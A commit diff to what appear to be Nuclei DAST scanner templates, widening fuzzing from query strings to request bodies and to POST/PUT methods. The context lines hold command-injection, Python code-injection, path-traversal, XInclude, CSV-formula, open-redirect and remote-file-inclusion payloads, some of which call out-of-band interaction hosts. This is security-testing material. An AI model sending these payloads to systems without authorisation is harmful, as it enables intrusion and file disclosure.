feat: add body fuzzing to DAST and add POST/PUT methods

dast/vulnerabilities/cmdi/blind-oast-polyglots.yaml

@@ -22,7 +22,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       payload:
         - "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
@@ -31,7 +32,9 @@ http:
         - "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: postfix
         fuzz:
           - "{{payload}}"
@@ -47,4 +50,3 @@ http:
         part: interactsh_protocol
         words:
           - "http"
-# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/python-code-injection.yaml

@@ -14,7 +14,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       injection:
         - eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
@@ -35,7 +36,9 @@ http:
         - eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: replace
         fuzz:
           - "{{injection}}"
@@ -46,4 +49,3 @@ http:
         part: body
         regex:
           - 'root:.*:0:0:'
-# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/ruby-open-rce.yaml

@@ -21,14 +21,17 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     stop-at-first-match: true
     payloads:
       interaction:
         - "|nslookup {{marker}}|curl {{marker}}"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         fuzz:
           - "{{interaction}}"
 
@@ -37,4 +40,3 @@ http:
         part: interactsh_protocol
         words:
           - "dns"
-# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/crlf/cookie-injection.yaml

@@ -19,13 +19,16 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       reflection:
         - "{{first}}"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: postfix
         fuzz:
           - "{{reflection}}"
@@ -35,4 +38,3 @@ http:
         part: header
         regex:
           - '(?m)(?i)(^set-cookie.*cookie_injection.*)'
-# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/crlf/crlf-injection.yaml

@@ -13,7 +13,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       escape:
         low:
@@ -62,7 +63,9 @@ http:
           - "\r\t"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: postfix
         fuzz:
           - "{{escape}}Set-Cookie:crlfinjection=crlfinjection"
@@ -73,4 +76,3 @@ http:
         part: header
         regex:
           - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
-# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/injection/csv-injection.yaml

@@ -13,7 +13,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       csv_fuzz:
         - "class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}"
@@ -28,7 +29,9 @@ http:
         - '=IMAGE("https://{{interactsh-url}}/images/srpr/logo3w.png")'
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: replace # replaces existing parameter value with fuzz payload
         mode: multiple # replaces all parameters value with fuzz payload
         fuzz:
@@ -47,4 +50,3 @@ http:
           - "text/csv"
           - "application/csv"
           - "application/vnd.ms-excel"
-# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/injection/xinclude-injection.yaml

@@ -15,14 +15,17 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       xinc_fuzz:
         - '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></asd>'
         - '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></asd>'
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: replace # replaces existing parameter value with fuzz payload
         mode: multiple # replaces all parameters value with fuzz payload
         fuzz:
@@ -42,4 +45,3 @@ http:
         part: body
         words:
           - 'for 16-bit app support'
-# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/lfi-keyed.yaml

@@ -25,7 +25,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       pathtraversal:
         - '{{fuzz}}etc/passwd'
@@ -55,7 +56,9 @@ http:
         - '../../WEB-INF/web.xml'
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         mode: single
         keys:
           - cat
@@ -91,7 +94,9 @@ http:
         fuzz:
           - "{{pathtraversal}}"
 
-      - part: query
+      - parts:
+          - query
+          - body
         mode: single
         values:
           - "^(./|../|/)|(.html|.htm|.xml|.conf|.cfg|.log|.txt|.pdf|.doc|.docx|.xls|.csv|.png|.jpg|.gif)$"
@@ -120,4 +125,3 @@ http:
         part: body
         regex:
           - '(<system.webServer[\s\S]+<\/system.webServer>)'
-# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/linux-lfi-fuzz.yaml

@@ -16,7 +16,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       nix_fuzz:
         low:
@@ -71,7 +72,9 @@ http:
           - '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: replace # replaces existing parameter value with fuzz payload
         mode: multiple # replaces all parameters value with fuzz payload
         fuzz:
@@ -83,4 +86,3 @@ http:
         part: body
         regex:
           - 'root:.*:0:0:'
-# digest: 4b0a00483046022100bc2e34d998c161b0f1d7455850d0f9744628335ec5e3d0aeb95ac7711acaa2dd02210093950e9953cf175d3568ef5a82a366ec34486250941957176db44a0aafc24e1b:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/windows-lfi-fuzz.yaml

@@ -13,7 +13,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       win_fuzz:
         low:
@@ -59,7 +60,9 @@ http:
           - '%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini'
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: replace # replaces existing parameter value with fuzz payload
         mode: multiple # replaces all parameters value with fuzz payload
         fuzz:
@@ -74,4 +77,3 @@ http:
           - "fonts"
           - "extensions"
         condition: and
-# digest: 4a0a0047304502202c7451a1d8e2ce336cd69b4339d8bf006429f0251b6d195fcfeb02472188f3d5022100a1ad317fa882c654e50b3ece6492c6050dad00010369259be8ef2258e4bc4a18:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/redirect/open-redirect-bypass.yaml

@@ -13,7 +13,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       redirect:
         - "{{Hostname}}.oast.me"
@@ -123,7 +124,9 @@ http:
         - '%00/oast.me/'
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         mode: single
         keys:
           - AuthState
@@ -265,7 +268,9 @@ http:
         fuzz:
           - "{{redirect}}"
 
-      - part: query
+      - parts:
+          - query
+          - body
         mode: single
         values:
           - "https?://" # Replace HTTP URLs with alternatives
@@ -285,4 +290,3 @@ http:
           - 301
           - 302
           - 307
-# digest: 4a0a0047304502206a2882c605cac005cc99926e18ebd02dc43c4c31a756c745e7f4dd845ab2cca9022100d7cb3221c7842d7e9356fcd694217518a608885632f2cfd3e2abc52a2f26fad2:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/redirect/open-redirect.yaml

@@ -13,13 +13,16 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       redirect:
         - "oast.me"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         mode: single
         keys:
           - AuthState
@@ -161,7 +164,9 @@ http:
         fuzz:
           - "https://{{redirect}}"
 
-      - part: query
+      - parts:
+          - query
+          - body
         mode: single
         values:
           - "https?://" # Replace HTTP URLs with alternatives
@@ -181,4 +186,3 @@ http:
           - 301
           - 302
           - 307
-# digest: 4b0a00483046022100a79bb24814ebb6fce46310bc6ca43f0a735205eccf07838a37f372e8956cfdbf022100f2fa25d75d359997833b4406ac5acadce14328707f8b2e1896024e3c7cc7bb2a:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/rfi/generic-rfi.yaml

@@ -15,13 +15,16 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       rfi:
         - "https://rfi.nessus.org/rfi.txt"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         mode: single
         fuzz:
           - "{{rfi}}"
@@ -32,4 +35,3 @@ http:
         part: body  # Confirms the PHP was executed
         words:
           - "NessusCodeExecTest"
-# digest: 4b0a004830460221008b6ae75bff51d0f717fa022b5a9f6f75ac545b873262f391be1b844bddb24d67022100f8b9d9ccf60276b6eb0ab6d0bda976c53f8218b73f2b78012d8c15daae36b43a:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/sqli/sqli-error-based.yaml

@@ -17,7 +17,9 @@ http:
       - type: dsl
         dsl:
           - 'method != "OPTIONS"'
-
+          - 'method == "GET"'
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       injection:
         - "'"
@@ -494,4 +496,3 @@ http:
           - "SQ200: No table "
           - "Virtuoso S0002 Error"
           - "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"
-# digest: 4a0a00473045022100b3102693f70190b12ccb6f15140a61b65dd91c218b1e3ea99ea59e75ad8f03170220211591503e0603405ab968f481fb3f615c7c3deb8f5849ac281640b5011fcb30:922c64590222798bb761d5b6d8e72950